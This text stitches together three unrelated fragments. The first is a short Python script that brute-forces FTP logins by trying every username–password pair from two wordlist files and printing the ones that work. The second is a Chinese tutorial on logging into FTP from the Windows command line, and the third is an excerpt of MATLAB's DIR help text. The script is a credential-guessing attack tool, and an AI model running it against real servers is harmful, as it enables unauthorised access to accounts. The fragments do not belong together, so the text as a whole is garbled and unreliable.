l临时简单的验证,还需要优化... 登录: import ftplib usr = open('usr.txt','r') ftp = ftplib.FTP("*************") for x in usr: x=x.strip() pwd = open('pwd.txt','r') for y in pwd: y=y.strip() try: ftp.login(x,y) print x+':'+y+'----------------------------------'
1.系统环境 FTP客户端:Windows7旗舰版,管理员权限命令行: FTP服务端:CentOS 6.5,VSFTP,端口 21(默认) 2.登陆FTP 在命令行下输入 ftp,出现 ftp>即进入FTP命令行 open FTP的IP地址/域名 例如 open 169.254.234.241 (当然有最简单的方式 直接在命令行下 ftp FTP的IP地址/域名) 按照提示输入用户名和密码,完成登陆 Microsoft Windows [版本 ] 版权所有 (c) Microsoft Corpo
DIR List directory. DIR directory_name lists the files in a directory. Pathnames and wildcards may be used. For example, DIR *.m lists all the M-files in the current directory. D = DIR('directory_name') returns the results in an M-by-1 structure with